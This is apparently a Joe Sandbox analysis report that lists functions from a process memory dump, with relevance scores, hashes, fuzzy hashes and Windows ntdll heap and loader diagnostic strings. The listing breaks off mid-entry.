                                                  Function 356ED7B0 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 151timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • RtlDebugPrintTimes.NTDLL ref: 356ED959
                                                    • Part of subcall function 356C4859: RtlDebugPrintTimes.NTDLL ref: 356C48F7
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID: $$$$LdrShutdownProcess$Process 0x%p (%wZ) exiting$minkernel\ntdll\ldrinit.c
                                                  • API String ID: 3446177414-1975516107
                                                  • Opcode ID: 430dd5aadf2fe3022b7222acc80e406c6796376151e722a1709a0b3c42330ffd
                                                  • Instruction ID: f101dfdec1b263f59b9f036a3e0fef53fea2bcabb6c417334985051c5d7f5d6e
                                                  • Opcode Fuzzy Hash: 430dd5aadf2fe3022b7222acc80e406c6796376151e722a1709a0b3c42330ffd
                                                  • Instruction Fuzzy Hash: 6451F075E063459FDB44CFA4CA84B8EBBF2BF44314F12415DC8017B282DB70A982CB81
                                                  Function 35759179 Relevance: 10.4, Strings: 8, Instructions: 401COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: %s\%ld\%s$%s\%u-%u-%u-%u$AppContainerNamedObjects$BaseNamedObjects$Global\Session\%ld%s$\AppContainerNamedObjects$\BaseNamedObjects$\Sessions
                                                  • API String ID: 0-3063724069
                                                  • Opcode ID: eb32df7e053a7cfa2fe27adfc23c154ec677621655df0fd384b26cf61253a841
                                                  • Instruction ID: 7de41045d0dd86f8d53bcef3b480d27de7c9b68433662d4c4c30aab4ee48964a
                                                  • Opcode Fuzzy Hash: eb32df7e053a7cfa2fe27adfc23c154ec677621655df0fd384b26cf61253a841
                                                  • Instruction Fuzzy Hash: 43D1B0B2909355ABD722CF54C880BABB7F9EF84764F414D29F9849B250E770CD48CB92
                                                  Function 356BF172 Relevance: 8.2, Strings: 6, Instructions: 684COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: (!TrailingUCR)$((LONG)FreeEntry->Size > 1)$(LONG)FreeEntry->Size > 1$(UCRBlock != NULL)$HEAP: $HEAP[%wZ]:
                                                  • API String ID: 0-523794902
                                                  • Opcode ID: 8fabee1e411b6fe17084af06a203d529f09bcbc1c9772b0d583d74ebfc6b3a74
                                                  • Instruction ID: 845f821bc3686dff8c4b4385079fd27bd4577f9c7381bf36dcae70d97bdea576
                                                  • Opcode Fuzzy Hash: 8fabee1e411b6fe17084af06a203d529f09bcbc1c9772b0d583d74ebfc6b3a74
                                                  • Instruction Fuzzy Hash: 4E4202752187819FDB11CF6AC884B1AFBEAFF84344F14496DE8858B361DBB0DA41CB52
                                                  Function 356E51EF Relevance: 7.9, Strings: 6, Instructions: 434COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: H/n5$Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
                                                  • API String ID: 0-3874029176
                                                  • Opcode ID: 82512647fde54886bb6099c8474157d0c312c33332ffa44265e9dde2ce2db561
                                                  • Instruction ID: 35038c15705b7a8eaedf3845f32dc6d37215790b5d0d6efe82f9e017633bb9dc
                                                  • Opcode Fuzzy Hash: 82512647fde54886bb6099c8474157d0c312c33332ffa44265e9dde2ce2db561
                                                  • Instruction Fuzzy Hash: 63F14BB6E12219EFCB05CFA8C994DDEB7F9FF58650F51445AE405AB210EB709E01CBA0
                                                  Function 356DB1B0 Relevance: 7.8, Strings: 6, Instructions: 350COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: API set$DLL %wZ was redirected to %wZ by %s$LdrpPreprocessDllName$LdrpPreprocessDllName for DLL %wZ failed with status 0x%08lx$SxS$minkernel\ntdll\ldrutil.c
                                                  • API String ID: 0-122214566
                                                  • Opcode ID: 38119cad3d81ea9f762c8d576ce1e011372979eb72ef398d2881a264872385cc
                                                  • Instruction ID: 8758b615e0b1ddf19b67b3d4e6430d9c26a99ca94d34f97f7c613f9bdab5b605
                                                  • Opcode Fuzzy Hash: 38119cad3d81ea9f762c8d576ce1e011372979eb72ef398d2881a264872385cc
                                                  • Instruction Fuzzy Hash: DBC11271A04315ABEB14CF64C880BBEB7F5BF45310F55496DEC029F6A8EBB08944DB91
                                                  Function 356D0770 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 414COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: (UCRBlock->Size >= *Size)$HEAP: $HEAP[%wZ]:
                                                  • API String ID: 0-4253913091
                                                  • Opcode ID: 0a5bfaad2d8dcd6f217c1c6636bea085ac2befd05766224896343327a776a07b
                                                  • Instruction ID: a1ae64ee99f9e805f99147da9542eeec3ccd279e31e2b7afcf9b4e33d14f8caf
                                                  • Opcode Fuzzy Hash: 0a5bfaad2d8dcd6f217c1c6636bea085ac2befd05766224896343327a776a07b
                                                  • Instruction Fuzzy Hash: 01F18674B00A05EFEB15CF69C884F6AB7F6FB44350F1085A8E4169F381EB74A981CB91
                                                  Function 356EF5B0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 382COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  • RTL: Re-Waiting, xrefs: 3573031E
                                                  • RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 357302BD
                                                  • RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 357302E7
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
                                                  • API String ID: 0-2474120054
                                                  • Opcode ID: b6663faf10f2da474cc89cf2138d1f253d3b133198cabc01fbc0ac7c09efe76c
                                                  • Instruction ID: 685f13626ed2e7ea9623e9fd8ed5b9e27953d2594185436bbdd853022f8ad58e
                                                  • Opcode Fuzzy Hash: b6663faf10f2da474cc89cf2138d1f253d3b133198cabc01fbc0ac7c09efe76c
                                                  • Instruction Fuzzy Hash: 81E1EF7460A7419FE710CF28C985B0AB7F5BF853A4F100A2DF4A58B2D1DB74E845CB82
                                                  Function 35749C32 Relevance: 6.8, Strings: 5, Instructions: 542COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID: @$AVRF: Verifier .dlls must not have thread locals$KnownDllPath$L$\KnownDlls32
                                                  • API String ID: 3446177414-3127649145
                                                  • Opcode ID: 0f5be6b7824a1c2e724f459628b9d26352ef3999c925c881aafde2b33e1d9cdc
                                                  • Instruction ID: 361478b202080eb0c8c8d01d7c94cfc07188c3ea13488adbd21cdda5c5aa3035
                                                  • Opcode Fuzzy Hash: 0f5be6b7824a1c2e724f459628b9d26352ef3999c925c881aafde2b33e1d9cdc
                                                  • Instruction Fuzzy Hash: F0325EB5A017199FDB61CF65CC89B9AB7F9FF48300F1045EAD509AB250EB70AA84CF50
                                                  Function 3579B16B Relevance: 6.4, APIs: 4, Instructions: 450timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID:
                                                  • API String ID: 3446177414-0
                                                  • Opcode ID: 0386f9e8cb4f206eb6a08883e1b12c8004b403500836e250fc79468618c05328
                                                  • Instruction ID: da13555c74b7c1b5b1be1acb9436c6b10f5146ea8cbb62fd4388c04eddb4f7aa
                                                  • Opcode Fuzzy Hash: 0386f9e8cb4f206eb6a08883e1b12c8004b403500836e250fc79468618c05328
                                                  • Instruction Fuzzy Hash: 18F1E576E086158BDB0CCFA9D994ABDFBF6EF88200759416DD45ADF380E634E901CB60
                                                  Function 3574FD2A Relevance: 6.4, Strings: 5, Instructions: 115COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: Item:$ Language:$ Name:$SR - $Type:
                                                  • API String ID: 0-3082644519
                                                  • Opcode ID: e02964cafebda0c8996f20ba54778eae55a9ed17f271854abfa4d48cf7d01440
                                                  • Instruction ID: d8ace0f102564e7f818b8555b78463c632a439ff5ec13b4ac11fd423fe056de8
                                                  • Opcode Fuzzy Hash: e02964cafebda0c8996f20ba54778eae55a9ed17f271854abfa4d48cf7d01440
                                                  • Instruction Fuzzy Hash: 69417FB2B01268AFCB20CF65CC58BEAB7BDEF46310F4041D5A849AB241DE349E85CF51
                                                  Function 357711A4 Relevance: 6.4, Strings: 5, Instructions: 113COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: This is located in the %s field of the heap header.$ -k5`$HEAP: $HEAP[%wZ]: $Heap %p - headers modified (%p is %lx instead of %lx)
                                                  • API String ID: 0-384401345
                                                  • Opcode ID: bec8684b6dd44d679863a766f8fafc61b8d18ecdd6a527b8a95123ebc906f1a3
                                                  • Instruction ID: c48f02e2f7da20474176086b6e28148446935b0de7d1272e12a7b4ba84a91cf3
                                                  • Opcode Fuzzy Hash: bec8684b6dd44d679863a766f8fafc61b8d18ecdd6a527b8a95123ebc906f1a3
                                                  • Instruction Fuzzy Hash: 1A31D035310290EFEF11DB99E884FA673E9FF05660F214459E401DF2A0EBB4A944CBA5
                                                  Function 356B76B2 Relevance: 6.3, Strings: 5, Instructions: 51COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlFreeHeap
                                                  • API String ID: 0-3061284088
                                                  • Opcode ID: 9fe4c730277821a27027560f2d956aaf0eed31c2f0b42dc042aa4e086ace087d
                                                  • Instruction ID: 86952dd0c49009dc84e013f909a37f8ee3e199b120d772a73f214989b592e12f
                                                  • Opcode Fuzzy Hash: 9fe4c730277821a27027560f2d956aaf0eed31c2f0b42dc042aa4e086ace087d
                                                  • Instruction Fuzzy Hash: 0501F736118280DFE329972AE419FA2B7E5EF43730F25409DE4044F661CFE49884C664
                                                  Function 356D70C0 Relevance: 6.0, Strings: 3, Instructions: 2248COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
                                                  • API String ID: 0-3178619729
                                                  • Opcode ID: 3a28871507eabe05f89c703365f68c7b969ea8c66aa22367b18d6e0594ea68e8
                                                  • Instruction ID: 0da74b4907712575a1699cfe97c262184d2b8a93434dce83ee30b16ab8c00643
                                                  • Opcode Fuzzy Hash: 3a28871507eabe05f89c703365f68c7b969ea8c66aa22367b18d6e0594ea68e8
                                                  • Instruction Fuzzy Hash: 5B13BE74A04359CFEB14CF68C884BA9FBF1FF48304F1489A9D849AB791D774A941CB92
                                                  Function 356D3D40 Relevance: 5.4, Strings: 3, Instructions: 1603COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
                                                  • API String ID: 0-3178619729
                                                  • Opcode ID: d97bfc704be4197fe9b8234090f280dc8635d28e818988a8201e64aee17c0420
                                                  • Instruction ID: d83402e17fb53599f696c654b70837187d6d0d1bb1741adc60a7e8fbfb6e4d10
                                                  • Opcode Fuzzy Hash: d97bfc704be4197fe9b8234090f280dc8635d28e818988a8201e64aee17c0420
                                                  • Instruction Fuzzy Hash: 5CE2DE74A042198FEB14CF69C890BA9FBF1FF49305F1485A9E849AB781D7B1AC41CF91
                                                  Function 356CB6C0 Relevance: 5.3, Strings: 4, Instructions: 303COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: LdrResGetRCConfig Enter$LdrResGetRCConfig Exit$MUI$\Ui5
                                                  • API String ID: 0-937065495
                                                  • Opcode ID: b20abdc1665a8e7be9f2de70aed5f5213acbc937c0fdfbb9f61fc395e1e14d99
                                                  • Instruction ID: e4c87c4c08c236443f44650486c7db580d41711c9c316c4591d7107c22008c09
                                                  • Opcode Fuzzy Hash: b20abdc1665a8e7be9f2de70aed5f5213acbc937c0fdfbb9f61fc395e1e14d99
                                                  • Instruction Fuzzy Hash: 89B17675A486448FEB15CF69C980B9DB7B6FF44384F54496DE862EFB90D730A840CB60
                                                  Function 356CB440 Relevance: 5.2, Strings: 4, Instructions: 221COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: LdrpResGetResourceDirectory Enter$LdrpResGetResourceDirectory Exit$\Ui5${
                                                  • API String ID: 0-1120847634
                                                  • Opcode ID: dc124b0848cdb56c05209b6c5a85376a9aa760d8c7026045b30bc7791dd60c4f
                                                  • Instruction ID: a5964068fd41fd13a6110876f1413749843ff4fbc679e7e11a2c88158fa75a43
                                                  • Opcode Fuzzy Hash: dc124b0848cdb56c05209b6c5a85376a9aa760d8c7026045b30bc7791dd60c4f
                                                  • Instruction Fuzzy Hash: D991DCB5A48749CFEB11CF55D580BAE77B1FF00354F9081D9E841AB3A0D7B89A80CB91
                                                  Function 356BF626 Relevance: 5.2, Strings: 4, Instructions: 188COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: HEAP: $HEAP[%wZ]: $ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)$`
                                                  • API String ID: 0-2586055223
                                                  • Opcode ID: 1613859757369e18de62b31d1eb5627dfa51ddf360c6e6b1cb3648cb3e1ca44e
                                                  • Instruction ID: 5d31767565fc1a2119279e1ab6818ad506036c6b02f02fed7f1ee448afe7be1c
                                                  • Opcode Fuzzy Hash: 1613859757369e18de62b31d1eb5627dfa51ddf360c6e6b1cb3648cb3e1ca44e
                                                  • Instruction Fuzzy Hash: 1E61FF76214380AFE711CB65D944F66BBEAFF80750F040868FD558B2A1DBB4DA41CB62
                                                  Function 356B9148 Relevance: 5.1, Strings: 4, Instructions: 100COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: HEAP: $HEAP[%wZ]: $VirtualProtect Failed 0x%p %x$VirtualQuery Failed 0x%p %x
                                                  • API String ID: 0-1391187441
                                                  • Opcode ID: 8e5cbbf5c29f95aeec689223f4471e272885d0a64280d401dcbb00ffc37b71cd
                                                  • Instruction ID: e96f99f96f9694f00a48d1693e24847e5b3beefffaa345ee0b0522cbbf176b8c
                                                  • Opcode Fuzzy Hash: 8e5cbbf5c29f95aeec689223f4471e272885d0a64280d401dcbb00ffc37b71cd
                                                  • Instruction Fuzzy Hash: 85317E76600204EFDB01DB56C888F9AB7F9FF45770F1540A5E815AB2A1DBB0EE40CB61
                                                  Function 35701270 Relevance: 5.1, Strings: 4, Instructions: 97COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: @$BuildLabEx$Eo5$\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion
                                                  • API String ID: 0-3598305825
                                                  • Opcode ID: 4dd0507e6de23adeaafdd13239ae3a95ee5485203228978708ef77071a5cdf2e
                                                  • Instruction ID: 181195a7f469e2c0f811772f99a726c23995316516e15564cbe8ac1c1191f1a9
                                                  • Opcode Fuzzy Hash: 4dd0507e6de23adeaafdd13239ae3a95ee5485203228978708ef77071a5cdf2e
                                                  • Instruction Fuzzy Hash: E1319172E00618AFDB11EFA5CD44EDEBBF9EB84750F104425E914AB160E770DA05DF90
                                                  Function 356C7152 Relevance: 4.7, APIs: 3, Instructions: 158timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID:
                                                  • API String ID: 3446177414-0
                                                  • Opcode ID: 076b35d6757a1ec9b1259add3d15a26d3cd1f0a04cf0d65918755aaabf6b90d9
                                                  • Instruction ID: 43b0775a68dd3e2292cdeeac8cc787fcc18e8fa6afc22cd333821944fe263d56
                                                  • Opcode Fuzzy Hash: 076b35d6757a1ec9b1259add3d15a26d3cd1f0a04cf0d65918755aaabf6b90d9
                                                  • Instruction Fuzzy Hash: E7510EB4A00709EFEB05CF64C944BADB7B6FF44365F1441ADE412ABA90EBB4D901CB81
                                                  Function 356C1460 Relevance: 4.1, Strings: 3, Instructions: 385COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  • HEAP[%wZ]: , xrefs: 356C1712
                                                  • HEAP: , xrefs: 356C1596
                                                  • HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 356C1728
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
                                                  • API String ID: 0-3178619729
                                                  • Opcode ID: c1a2a452f492e785ea26634ded358e85e7c907f69edc709361b41da4889ba71f
